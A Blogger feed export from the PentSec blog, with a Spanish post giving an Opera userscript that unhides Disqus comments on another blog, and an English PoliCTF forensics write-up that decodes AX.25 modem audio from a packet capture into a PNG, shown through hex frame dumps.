<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:blogger='http://schemas.google.com/blogger/2008' xmlns:georss='http://www.georss.org/georss' xmlns:gd="http://schemas.google.com/g/2005" xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-2801530176223592362</id><updated>2024-09-01T08:42:01.922+02:00</updated><title type='text'>PentSec</title><subtitle type='html'></subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://pentsec.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2801530176223592362/posts/default?redirect=false'/><link rel='alternate' type='text/html' href='http://pentsec.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>pentsec</name><uri>http://www.blogger.com/profile/17826012166406986572</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='30' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi34eG0ZGlmfc-3Xub1FWHCt1akiRAERGRC1VYbJMKV-wemMOVOC-F9kxMv9r3HoiD2O4fB-rjtc0Axh7ko7UbMIqniA2DwQy4gTdqWp1m0yaUxFssEej-yoVmQf_873xs/s220/Sin+t%C3%ADtulo.png'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>16</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-2801530176223592362.post-2459559963411662283</id><published>2012-12-06T00:45:00.000+01:00</published><updated>2012-12-06T00:45:17.035+01:00</updated><title type='text'>Comentarios de Security by Default con Opera</title><content type='html'>&lt;div align=&quot;justify&quot;&gt;
Esta es una tontería que hice hace tiempo y que me resulta útil.&amp;nbsp; Hoy, utilizando un equipo distinto del habitual, la he echado en falta, así que lo cuelgo aquí como recordatorio y por si a alguien más le sirve, que lo dudo.&lt;/div&gt;
&lt;div align=&quot;justify&quot;&gt;
Utilizo Opera desde que empecé a leer las páginas de &lt;a href=&quot;http://www.woodmann.com/fravia/index.htm&quot;&gt;Fravia&lt;/a&gt;, y estoy tan acostumbrado a este navegador que me he vuelto un poco talibán… si una página no se ve bien con Opera, es probable que no acceda.&lt;/div&gt;
&lt;div align=&quot;justify&quot;&gt;
Por otra parte, uno de mis blogs favoritos es &lt;a href=&quot;http://www.securitybydefault.com/&quot;&gt;Security by Default&lt;/a&gt;, pero desde que integraron los comentarios con &lt;a href=&quot;http://www.disqus.com/&quot;&gt;Disqus&lt;/a&gt; no podía leer los comentarios desde Opera.&lt;/div&gt;
&lt;div align=&quot;justify&quot;&gt;
Si algún día encuentro el tiempo, me gustaría ver por qué no funciona Disqus desde mi Opera, pero mientras tanto, me he buscado un apaño para seguir anclado en mis manías… tozudo que es uno.&lt;/div&gt;
&lt;div align=&quot;justify&quot;&gt;
Al realizar la integración comentada, se cambió el estilo del enlace a los comentarios para que éste no fuera visible:&lt;/div&gt;
&lt;div align=&quot;justify&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg8-a-9FDypLMQ2I-ZZuSibsSjj7qaYQIQpb7rRRMo22RTwv63dBrn97DBKh93t-JQ-t2DG_e9PeDxBXmfGprbXDGD5G4fs-LDFAgJj5sfki56egYfnVfiaWbuPTtKvfGlY83RHMIKzqeI/s1600-h/image%25255B2%25255D.png&quot;&gt;&lt;img alt=&quot;image&quot; border=&quot;0&quot; height=&quot;104&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgXUXpOIyO9Q61m_VRA4_dFVD77stIsyJ3ph9quccJ-3bLUVoF1I_atdHgJdbKttVObY6RlX4tu9LahB2dJHKktKpPVDQMmebbJi3i3IFUGxWG2Pv37MooPMxl6jiePNICrXytaI-HunzY/?imgmax=800&quot; style=&quot;background-image: none; border-bottom: 0px; border-left: 0px; border-right: 0px; border-top: 0px; display: inline; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;&quot; title=&quot;image&quot; width=&quot;244&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div align=&quot;justify&quot;&gt;
Vamos a eliminar este elemento para que no se aplique la invisibilidad.&amp;nbsp; Para ello, en opera:config habilitamos los javascript de usuario dentro de User Prefs marcando User Javascript e indicando la carpeta que contendrá nuestros javascripts en User JavaScript File.&lt;/div&gt;
&lt;div align=&quot;justify&quot;&gt;
Dentro de esta última carpeta situaremos un fichero securitybydefault.js con el siguiente contenido:&lt;/div&gt;
&lt;pre&gt;
// ==UserScript==&lt;br /&gt;// @include &lt;a href=&quot;http://www.securitybydefault.com/*&quot;&gt;http://www.securitybydefault.com/*&lt;/a&gt;&lt;br /&gt;// ==/UserScript==&lt;br /&gt;
window.opera.addEventListener(&#39;BeforeEvent.load&#39;, function (e)&lt;br /&gt; {&lt;br /&gt; sbdobj=document.getElementById(&#39;HTML3&#39;);&lt;br /&gt; sbdhijo=sbdobj.selectSingleNode(&#39;style&#39;);&lt;br /&gt; sbdobj.removeChild(sbdhijo);&lt;br /&gt; }, false);&lt;br /&gt;
&lt;/pre&gt;&lt;div align=&quot;justify&quot;&gt;
Con esto recuperaremos los comentarios del blog, eso sí, al viejo estilo, sin la sofisticación de Disqus &lt;img alt=&quot;Sonrisa&quot; class=&quot;wlEmoticon wlEmoticon-smile&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjX-inK1r3HxWNlNTTNz0OcJBZqtGb272jyACHBym0VmLtgT_I8hpDf5yZEd6l_QJMMYslWCR1vbuJQk62u-SZrtWDwRlGaa8YJfbvKJ4Yszf9Cyq2xqdZ-Vun5jEo7Wya8UkGNyO0PcTU/?imgmax=800&quot; style=&quot;border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none;&quot; /&gt;.&lt;/div&gt;
&lt;div align=&quot;justify&quot;&gt;
Saludos!!&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://pentsec.blogspot.com/feeds/2459559963411662283/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://pentsec.blogspot.com/2012/12/comentarios-de-security-by-default-con.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2801530176223592362/posts/default/2459559963411662283'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2801530176223592362/posts/default/2459559963411662283'/><link rel='alternate' type='text/html' href='http://pentsec.blogspot.com/2012/12/comentarios-de-security-by-default-con.html' title='Comentarios de Security by Default con Opera'/><author><name>ramandi</name><uri>http://www.blogger.com/profile/06511961608508220893</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgXUXpOIyO9Q61m_VRA4_dFVD77stIsyJ3ph9quccJ-3bLUVoF1I_atdHgJdbKttVObY6RlX4tu9LahB2dJHKktKpPVDQMmebbJi3i3IFUGxWG2Pv37MooPMxl6jiePNICrXytaI-HunzY/s72-c?imgmax=800" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2801530176223592362.post-6720752578681698634</id><published>2012-11-19T23:15:00.002+01:00</published><updated>2012-11-20T01:58:09.188+01:00</updated><title type='text'>WriteUp - Forensic 500 - PoliCTF</title><content type='html'>We resolved this challenge out of time, but since we have not seen a write-up yet, here it is…&lt;br /&gt;
We are given a packet capture that you can find here: &lt;a href=&quot;https://sites.google.com/site/archivospentsec/communication.pcap&quot;&gt;communication.pcap&lt;/a&gt;&lt;br /&gt;
We also get a hint: “Let&#39;s call someone from the old days”&lt;br /&gt;
The capture contains a RTP communication that we can listen using Wireshark:&lt;br /&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjmhRaQK68z-KQJVooWApieZY8dz40vvsDk-3JOMH0KkFE1aML6ICDXXbEjxhIizdsS-RSi1VxumuGC9wPsDBvI0m6-MyLBhoZmiiVFjwg5VqYxWGxzhCTzMu7PXiK8PAeO1g8DcU_Swhs/s1600-h/image%25255B2%25255D.png&quot;&gt;&lt;img alt=&quot;image&quot; border=&quot;0&quot; height=&quot;138&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEidEqcarBShDlfskiPyvSvd1TpkhCI3VzKPJJbPHvozV2pvwewgH3xORhOB9rhC-cx65hyphenhyphenASAbsrpj5ipu2jwoT-XhLQpd66G6NG_Zlh65uzc_uRNX7HBzYTfbLx1_x4r6E2G30JZLkHM4/?imgmax=800&quot; style=&quot;background-image: none; border-bottom: 0px; border-left: 0px; border-right: 0px; border-top: 0px; display: inline; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;&quot; title=&quot;image&quot; width=&quot;244&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
One of the streams got us Rickrolled XDDD, but the other one sounded like some kind of binary data communication.&amp;nbsp; The last one looks like a FSK:&lt;br /&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhx_gMn1WSIbVfN25xlF6mOMc-9fRv-0tW46PHqmFMFi2oxs4kExdAt3w60WPT68tCVEx-3ik1MD0foxzgA-JN72pDpW-Ogj04DFMEEPUUHvlIgewSkx_z9hAyJO0ik2WKK2R_ByhZaX8M/s1600-h/image%25255B5%25255D.png&quot;&gt;&lt;img alt=&quot;image&quot; border=&quot;0&quot; height=&quot;31&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgX2advDaFOcp9xfgUILAUiPzQizFOCEJw1Yi2EJyZQU7AITUsEsXThGjTZI51abYaVDHzgUDBPtAOau9ORKRuz6DlBcFhyRCMBerqPcXwzwYjhWBDuFUQy8ixkPEqTX5izVnCU0EorykY/?imgmax=800&quot; style=&quot;background-image: none; border-bottom: 0px; border-left: 0px; border-right: 0px; border-top: 0px; display: inline; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;&quot; title=&quot;image&quot; width=&quot;244&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
And this is its frequency distribution, with peaks in 1100Hz and 2300Hz:&lt;br /&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgRTHl-khyphenhyphengFE-syrWxEq8cu281eIgzN4NB48eNnrtYRStyRXvK3oH27384PcwY5KK1ybAj8OPXske9W29h805UcE0S0HkNHaSt-sLZnKmY1gnvOaeoQIJ-nasTxSL3_sIWo-8k7Jnr4XQ/s1600-h/image%25255B8%25255D.png&quot;&gt;&lt;img alt=&quot;image&quot; border=&quot;0&quot; height=&quot;190&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh6V_L3uCwl2KM3wVfQcCGH5jczdcViH3XfB6PQ3H9n6bQ295dUp7DQ3_RnyeNasq3AQ64vdD3-jaZ9R6Pj3ih08KwPp1erkOYfKBehHi8vyy-O8pciQhrGbMrGjWOa7zZn94FbJ_5ROwM/?imgmax=800&quot; style=&quot;background-image: none; border-bottom: 0px; border-left: 0px; border-right: 0px; border-top: 0px; display: inline; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;&quot; title=&quot;image&quot; width=&quot;244&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
So we google a bit, searching for FSK, 1100 and 2300 Hz and we got here:&lt;br /&gt;
&lt;a href=&quot;http://www.herrera.unt.edu.ar/eiii/material/apuntes/FMEstereo-ModEspeciales.pdf&quot;&gt;http://www.herrera.unt.edu.ar/eiii/material/apuntes/FMEstereo-ModEspeciales.pdf&lt;/a&gt; &lt;br /&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiaUxb-KYnZ2rOsjvL_f2hUsagNzjBB_FH2-EE7svPQT4qzimibnEi__81qn-sreq4AeTNG2w7H6T6go4JRzHph529a4ntD11cKmdmE-a6CDIWUUSIAxmnmLA7yqm2VwjjFyV4Uhf-bQsM/s1600-h/image%25255B11%25255D.png&quot;&gt;&lt;img alt=&quot;image&quot; border=&quot;0&quot; height=&quot;186&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg0g7tEDKSLf3vFEYFw1enKLWK2YCOWsd435JwpihyYQX2x36SnsEwao0sLadN6qyG8dmxgfQWmZA80BeoHssZcNmCC327R4h3CSS83kNg5E0jRZnV_KZl_ot0_GFPF6EMxLWIItVAhKuk/?imgmax=800&quot; style=&quot;background-image: none; border-bottom: 0px; border-left: 0px; border-right: 0px; border-top: 0px; display: inline; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;&quot; title=&quot;image&quot; width=&quot;244&quot; /&gt;&lt;/a&gt; &lt;br /&gt;
Which directed us to &lt;a href=&quot;http://en.wikipedia.org/wiki/Bell_202_modem&quot;&gt;Bell 202 modems&lt;/a&gt;, and to AX.25 modulation, which is supported by SkySweeper, so after changing baud rate to 1200 we get a familiar output (It’s difficut to describe how happy a PNG header can make you after some trial and error &lt;img alt=&quot;Guio&quot; class=&quot;wlEmoticon wlEmoticon-winkingsmile&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhXMast2XJ37UdsNHzvJRt_Upv-yAhI5nWA0Cy8gXauL_Jp2Qiw1LVXlmqzS3DBu2NhGmyxK-o87ZLcFsrmSAmH7yfLyNlOuxTG_XVmJtjLt9z0_hy6Ln-fP88Zz3-sxSEXKabKsEJw1Xc/?imgmax=800&quot; style=&quot;border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none;&quot; /&gt;): &lt;br /&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgQmfCIbLIOH3evgdR6y_rDMH8coQHqrc-B3bOLU7EPRDHFJ1dCpLlILgeO99CJUzRnPD1iaFACYClVzzPUw_phZ79HF1WQR5QiKVn1tIX8EEF059ncP8eoeSEk5Fwmm2zYtyQ-kbyXSBU/s1600-h/image%25255B14%25255D.png&quot;&gt;&lt;img alt=&quot;image&quot; border=&quot;0&quot; height=&quot;130&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj70FswWdEkuqo0yyb0l589Vu-qA73EWZQgh5HGsJ3n9oTYbGMXtUZ7KFF3Db8tKGd-Z1SWL2GatXWsZrxV753f1caSx2HDboLGTVTLaDE7fFZRvIw7E63g7ifGf4gqjbehqz_91lUlNrY/?imgmax=800&quot; style=&quot;background-image: none; border-bottom: 0px; border-left: 0px; border-right: 0px; border-top: 0px; display: inline; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;&quot; title=&quot;image&quot; width=&quot;244&quot; /&gt;&lt;/a&gt; &lt;br /&gt;
These are the packets with the png file: &lt;br /&gt;
&lt;span style=&quot;font-size: xx-small;&quot;&gt;&lt;/span&gt;&lt;br /&gt;
&lt;pre&gt;&lt;span style=&quot;font-size: xx-small;&quot;&gt;FRAME TYPE&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; : Unnumbered Frame
Flag&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; : 7e
Destination Address&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; : NOCALL 60
Source Address&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; : OTA22&amp;nbsp; 61
Control Field Type&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; : UI&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Unnumbered Information
P/F&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; : 0
&amp;nbsp;&amp;nbsp;&amp;nbsp; cc 45 00 01 00 fd cf 40 00 40 06 27 ce 0a 2b 00&amp;nbsp; LE...}O@.@.&#39;N.+.
&amp;nbsp;&amp;nbsp;&amp;nbsp; 01 0a 2b 00 04 9a d8 27 0f a9 fd 3f 7d 7a 0c d3&amp;nbsp; ..+...X&#39;.)}?}z.S
&amp;nbsp;&amp;nbsp;&amp;nbsp; bd 80 10 00 08 ad bf 00 00 01 01 08 0a 04 a7 c4&amp;nbsp; =....-?.......&#39;D
&amp;nbsp;&amp;nbsp;&amp;nbsp; f6 00 12 a5 e4 89 50 4e 47 0d 0a 1a 0a 00 00 00&amp;nbsp; v..%d.PNG.......
&amp;nbsp;&amp;nbsp;&amp;nbsp; 0d 49 48 44 52 00 00 00 af 00 00 00 af 01 03 00&amp;nbsp; .IHDR.../.../...
&amp;nbsp;&amp;nbsp;&amp;nbsp; 00 00 b1 5c 1c 36 00 00 00 06 50 4c 54 45 ff ff&amp;nbsp; ..1\.6....PLTE..
&amp;nbsp;&amp;nbsp;&amp;nbsp; ff 00 00 00 55 c2 d3 7e 00 00 01 a3 49 44 41 54&amp;nbsp; ....UBS~...#IDAT
&amp;nbsp;&amp;nbsp;&amp;nbsp; 48 89 bd 97 c1 b1 83 30 0c 44 37 93 83 8f 94 e0&amp;nbsp; H.=.A1.0.D7....`
&amp;nbsp;&amp;nbsp;&amp;nbsp; 4e a0 31 66 60 26 8d 41 27 94 c0 91 03 83 fe ae&amp;nbsp; N 1f`&amp;amp;.A&#39;.@...~.
&amp;nbsp;&amp;nbsp;&amp;nbsp; cc cf ff 0d 2c 3e 38 f0 cc c1 96 56 6b 05 78 7e&amp;nbsp; LO..,&amp;gt;8pLA.Vk.x~
&amp;nbsp;&amp;nbsp;&amp;nbsp; 94 e0 c0 b0 bf 73 da ca aa f7 c5 8b 17 a0 e2 45&amp;nbsp; .`@0?sZJ*wE.. bE
&amp;nbsp;&amp;nbsp;&amp;nbsp; cc a7 11 65 dd 21 66 c5 6b 9c 15 3d 49 5c 98 36&amp;nbsp; L&#39;.e]!fEk..=I\.6
&amp;nbsp;&amp;nbsp;&amp;nbsp; 7e 30 c5 13 98 bf d3 a6 3d e1 31 8c 57 9c 88 a5&amp;nbsp; ~0E..?S&amp;amp;=a1.W..%
&amp;nbsp;&amp;nbsp;&amp;nbsp; fb 6c c7 13 58 f1 e6 c4 ec de f8 2f 0d 2e 2c 15&amp;nbsp; {lG.XqfDl^x/..,.
&amp;nbsp;&amp;nbsp;&amp;nbsp; 31 b1 63 bd a7 7f 62 33 e1 56 29 ab 84 cc 08 d4&amp;nbsp; 11c=&#39;.b3aV)+.L.T
&amp;nbsp;&amp;nbsp;&amp;nbsp; 5f 62 c5 c3 2e 21 c7 67 0b 69 38 9f dc b8 67 a8&amp;nbsp; _bEC.!Gg.i8.\8g(
&amp;nbsp;&amp;nbsp;&amp;nbsp; e3&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; c
FCS&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; : 40c6&amp;nbsp;&amp;nbsp;&amp;nbsp; OK
Flag&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; : 7e&lt;/span&gt;&lt;/pre&gt;
&lt;br /&gt;
 &lt;span style=&quot;font-size: xx-small;&quot;&gt;FRAME TYPE&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; : Unnumbered Frame&lt;br /&gt;Flag&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; : 7e&lt;br /&gt;Destination Address&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; : NOCALL 60&lt;br /&gt;Source Address&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; : OTA22&amp;nbsp; 61&lt;br /&gt;Control Field Type&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; : UI&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Unnumbered Information&lt;br /&gt;P/F&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; : 0&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; cc 45 00 01 00 fd d0 40 00 40 06 27 cd 0a 2b 00&amp;nbsp; LE...}P@.@.&#39;M.+.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; 01 0a 2b 00 04 9a d8 27 0f a9 fd 40 49 7a 0c d3&amp;nbsp; ..+...X&#39;.)}@Iz.S&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; bd 80 10 00 08 f7 ac 00 00 01 01 08 0a 04 a7 c4&amp;nbsp; =....w,.......&#39;D&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; f6 00 12 a5 e4 ea 66 85 a1 c5 bb 1e 66 3c 50 46&amp;nbsp; v..%djf.!E;.f&amp;lt;PF&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; b9 76 80 6b dc 4e aa ca 89 95 62 12 bc e3 5b ae&amp;nbsp; 9v.k\N*J..b.&amp;lt;c[.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; 7a 75 e2 f4 23 96 cd 5c 8f be 53 d0 f9 95 36 68&amp;nbsp; zubt#.M\.&amp;gt;SPy.6h&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; c4 ac 98 19 8c f2 fb 76 08 70 cd 8c 35 24 5f 9e&amp;nbsp; D,...r{v.pM.5$_.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; 5b e4 18 62 86 1b f7 dd 99 3b 51 bc 53 50 53 13&amp;nbsp; [d.b..w].;Q&amp;lt;SPS.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; b2 0f eb f0 95 42 fe 84 d4 5c ff ee 1d 23 ce 8a&amp;nbsp; 2.kp.B~.T\.n.#N.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; e9 3b 3a 53 d0 21 0e 95 ab 19 33 ca dc 49 30 c5&amp;nbsp; i;:SP!..+.3J\I0E&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; b9 c6 08 8c d5 8c ef fb ba 5d 30 a9 66 8a 0c 56&amp;nbsp; 9F..U.o{:]0)f..V&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; 8c 41 77 1a cb 75 e3 53 fa 3e 3d 6a 71 63 16 69&amp;nbsp; .Aw.KucSz&amp;gt;=jqc.i&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; b4 28 f3 dc 19 7e 58 71 09 79 2d fb 93 9a a6 c4&amp;nbsp; 4(s\.~Xq.y-{..&amp;amp;D&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; c3 67 ef e0 c4 39 98 e2 29 58 a9 27 ca 85 76 78&amp;nbsp; Cgo`D9.b)X)&#39;J.vx&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; 23 2e 92 11 77 92 96 af 0f 32 d9 56 9c 83 35 1b&amp;nbsp; #...w../.2YV..5.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; cd 75 43 22 33 e3 d6 51 eb 82 41 5a a0 ee 34 37&amp;nbsp; MuC&quot;3cVQk.AZ n47&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; 5e&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ^&lt;br /&gt;FCS&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; : 7b57&amp;nbsp;&amp;nbsp;&amp;nbsp; OK&lt;br /&gt;Flag&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; : 7e&lt;/span&gt;&lt;br /&gt;
